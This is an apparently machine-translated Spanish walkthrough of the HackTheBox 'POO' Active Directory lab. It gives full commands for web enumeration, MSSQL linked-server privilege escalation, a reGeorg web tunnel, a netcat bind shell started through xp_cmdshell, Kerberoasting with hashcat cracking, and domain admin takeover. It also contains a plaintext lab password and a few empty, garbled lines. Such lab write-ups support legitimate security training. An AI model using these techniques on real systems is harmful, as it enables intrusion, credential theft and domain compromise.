HackTheBox final del juego. Paso del laboratorio Operaciones ofensivas profesionales. Active Directory de Pentest

imagen

En este artículo, analizaremos el paso no solo de un automóvil, sino de todo un mini laboratorio del sitio HackTheBox .

Como se indica en la descripción, POO está diseñado para evaluar habilidades en todas las etapas de ataques en un entorno pequeño de Active Directory. El objetivo es comprometer un host disponible, aumentar los privilegios y, en última instancia, comprometer todo el dominio, mientras se recopilan 5 banderas.

La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
, , Telegram . , , .

. , - , .

Introducción


Este juego final consta de dos máquinas y contiene 5 banderas.

imagen

También se proporciona la descripción y la dirección del host disponible.

imagen

¡Empecemos!

Bandera de reconocimiento


Esta máquina tiene una dirección IP de 10.13.38.11, que agrego a / etc / hosts.
10.13.38.11 poo.htb

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

imagen

Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.

nmap -A poo.htb -p80,1433

imagen

Por lo tanto, tenemos IIS y MSSQL. En este caso, descubriremos el nombre DNS real del dominio y la computadora. En el servidor web nos saluda la página de inicio de IIS.

imagen

Veamos los directorios. Yo uso gobuster para esto. En los parámetros indicamos el número de flujos 128 (-t), URL (-u), diccionario (-w) y extensiones que nos interesan (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

imagen

Por lo tanto, tenemos autenticación HTTP para el directorio / admin, así como un archivo de repositorio de servicio de escritorio disponible .DS_Store. .DS_Store: son archivos que almacenan configuraciones de usuario para la carpeta, como una lista de archivos, la ubicación de los iconos, la imagen de fondo seleccionada. Tal archivo puede caer en el directorio del servidor web de los desarrolladores web. Por lo tanto, obtenemos información sobre el contenido del directorio. Puede usar el rastreador DS_Store para esto .

python3 dsstore_crawler.py -i http://poo.htb/

imagen

Obtenemos el contenido del directorio. Lo más interesante aquí es el directorio / dev, desde el cual podemos ver los archivos fuente y db en dos ramas. Pero podemos primero 6 caracteres del nombre de los archivos y directorios si el servicio es vulnerable a IIS ShortName. Para verificar esta vulnerabilidad, use el escáner de nombre corto IIS .

imagen

Y vamos a un archivo de texto que comienza con "poo_co". Sin saber qué hacer a continuación, simplemente seleccioné todas las palabras que comienzan con "co" del diccionario del directorio.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

E iterar a través de wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

imagen

¡Y encontramos la palabra correcta! Observamos este archivo, guardamos las credenciales (a juzgar por el parámetro DBNAME, son de MSSQL).

imagen

Entregamos la bandera y avanzamos un 20%.

imagen

Eh bandera


Estamos conectados a MSSQL, yo uso DBeaver.

imagen

No encontramos nada interesante en esta base de datos, creemos un Editor SQL y verifiquemos qué usuarios son.

SELECT name FROM master..syslogins;

imagen

Tenemos dos usuarios Veamos nuestros privilegios.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

imagen

Por lo tanto, no hay privilegios. Veamos los servidores relacionados, sobre esta técnica que escribí en detalle aquí .

SELECT * FROM master..sysservers;

imagen

Entonces encontramos otro SQL Server. Verifiquemos la ejecución de comandos en este servidor usando openquery ().

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');

imagen

E incluso podemos construir un árbol de consulta.

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');

El hecho es que cuando ejecutamos una solicitud a un servidor vinculado, ¡la solicitud se ejecuta en el contexto de otro usuario! Veamos en qué contexto estamos trabajando en un servidor vinculado.

SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');

imagen

¡Ahora veamos en qué contexto se ejecuta la solicitud del servidor vinculado al nuestro!

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');

imagen

Por lo tanto, este es un contexto DBO que debería tener todos los privilegios. Verifiquemos los privilegios en caso de una solicitud de un servidor vinculado.

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

imagen

Como puede ver, ¡tenemos todos los privilegios! Creemos nuestro administrador de esta manera. Pero no lo dejan pasar por openquery, hagámoslo a través de EJECUTAR EN.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";

Y ahora que estamos conectados con las credenciales del nuevo usuario, observamos la nueva base de datos de banderas.

imagen

Entregamos esta bandera y seguimos adelante.

imagen

Bandera de retroceso


Obtendremos el shell usando MSSQL, yo uso mssqlclient del paquete impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

imagen

Necesitamos obtener contraseñas, y lo primero que ya conocemos es el sitio. Por lo tanto, necesitamos una configuración de servidor web (es imposible lanzar un shell conveniente, aparentemente el firewall está funcionando).

imagen

Pero el acceso es denegado. Aunque podemos leer el archivo desde MSSQL, solo necesita saber qué lenguajes de programación están configurados. Y en el directorio MSSQL descubrimos qué es Python.

imagen

Luego lea el archivo web.config, no hay problema.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"

imagen

Con las credenciales encontradas, vaya a / admin y levante la bandera.

imagen

imagen

Bandera lisa


De hecho, existen algunos inconvenientes al usar un firewall, pero al observar la configuración de la red, ¡notamos que también se usa la perforación IPv6!

imagen

Agregue esta dirección a / etc / hosts.
dead:babe::1001 poo6.htb
Analicemos el host nuevamente, pero usando IPv6.

imagen

Y a través de IPv6, el servicio WinRM está disponible. Conéctese con las credenciales encontradas.

imagen

Hay una bandera en el escritorio, se la entregamos.

imagen

Bandera P00ned


Después del reconocimiento en el host usando winpeas, no encontramos nada especial. Luego se decidió buscar nuevamente las credenciales (también escribí un artículo sobre este tema ). Pero no logré obtener todos los SPN del sistema a través de WinRM.

setspn.exe -T intranet.poo -Q */*

imagen

Ejecutemos el comando a través de MSSQL.

imagen

De esta forma, obtenemos los SPN de los usuarios p00_hr y p00_adm, lo que significa que son vulnerables a un ataque como Kerberoasting. En resumen, podemos obtener hash de sus contraseñas.

Primero debe obtener un shell estable en nombre del usuario de MSSQL. Pero dado que tenemos un acceso limitado, solo tenemos acceso al host a través del puerto 80 y 1433. ¡Pero es posible hacer un túnel del tráfico a través del puerto 80! Para hacer esto, utilizamos la siguiente aplicación . Descargue el archivo tunnel.aspx en el directorio de inicio del servidor web: C: \ inetpub \ wwwroot \.

imagen

Pero cuando intentamos acceder a él, obtenemos el error 404. Esto significa que los archivos * .aspx no se ejecutan. Para que los archivos con estas extensiones comiencen a ejecutarse, instale ASP.NET 4.5 de la siguiente manera.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

imagen

imagen

Y ahora, al acceder a tunnel.aspx, obtenemos la respuesta de que todo está listo para funcionar.

imagen

Iniciemos la parte del cliente de la aplicación, que se ocupará de la retransmisión de tráfico. Redirigiremos todo el tráfico desde el puerto 5432 al servidor.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

imagen

Y usamos proxychains para enviar tráfico a cualquier aplicación a través de nuestro proxy. Agregue este proxy al archivo de configuración /etc/proxychains.conf.

imagen

Ahora subiremos el programa netcat al servidor , con la ayuda de la cual crearemos un shell de enlace estable, y el script Invoke-Kerberoast , con el que llevaremos a cabo el ataque Kerberoasting.

imagen

Ahora a través de MSSQL comenzamos el oyente.

xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321

imagen

Y conéctese a través de nuestro proxy.

proxychains rlwrap nc poo.htb 4321

imagen

Y consigamos los hashes.

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt

imagen

A continuación, debe ordenar estos hashes. Como no había datos de contraseña en el diccionario rockyou, utilicé TODOS los diccionarios de contraseñas proporcionados por Seclists. Para la búsqueda usamos hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Y encontramos ambas contraseñas, la primera en el diccionario dutch_passwordlist.txt, y la segunda en Keyboard-Combinations.txt.

imagen

imagen

Y entonces tenemos tres usuarios, ve al controlador de dominio. Primero averiguamos su dirección.

imagen

Ok, descubrimos la dirección IP del controlador de dominio. Averigüemos todos los usuarios del dominio, así como cuál de ellos es el administrador. Para descargar el script para obtener información PowerView.ps1. Luego conéctese usando evil-winrm especificando el directorio con el script en el parámetro -s. Y luego simplemente cargue el script PowerView.

imagen

Ahora todas sus funciones están disponibles para nosotros. El usuario p00_adm parece un usuario privilegiado, por lo que trabajaremos en su contexto. Cree un objeto PSCredential para este usuario.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Ahora todos los comandos de Powershell, donde especificamos Creds, se ejecutarán en nombre de p00_adm. Hagamos una lista de los usuarios y el atributo AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

imagen

Y así, nuestro usuario es realmente privilegiado. Echemos un vistazo a los grupos en los que está compuesto.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

imagen

Afirmamos que el usuario es un administrador de dominio. Esto le da derecho a iniciar sesión de forma remota en el controlador de dominio. Intentemos ingresar a través de WinRM usando nuestro túnel. Estaba confundido por los errores generados por reGeorg al usar evil-winrm.

imagen

Luego usaremos otro script más fácil para conectarnos a WinRM. Abra y cambie los parámetros para la conexión.

imagen

Estamos tratando de conectarnos y estamos en el sistema.

imagen

Pero no hay bandera. Luego mire al usuario y verifique los escritorios.

imagen

En mr3ks encontramos la bandera y el laboratorio está 100% aprobado.

imagen

Eso es todo. Como comentario, comente si aprendió algo nuevo de este artículo y si le fue útil.

Puedes unirte a nosotros en Telegram. Allí puede encontrar materiales interesantes, cursos combinados, así como software. Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

All Articles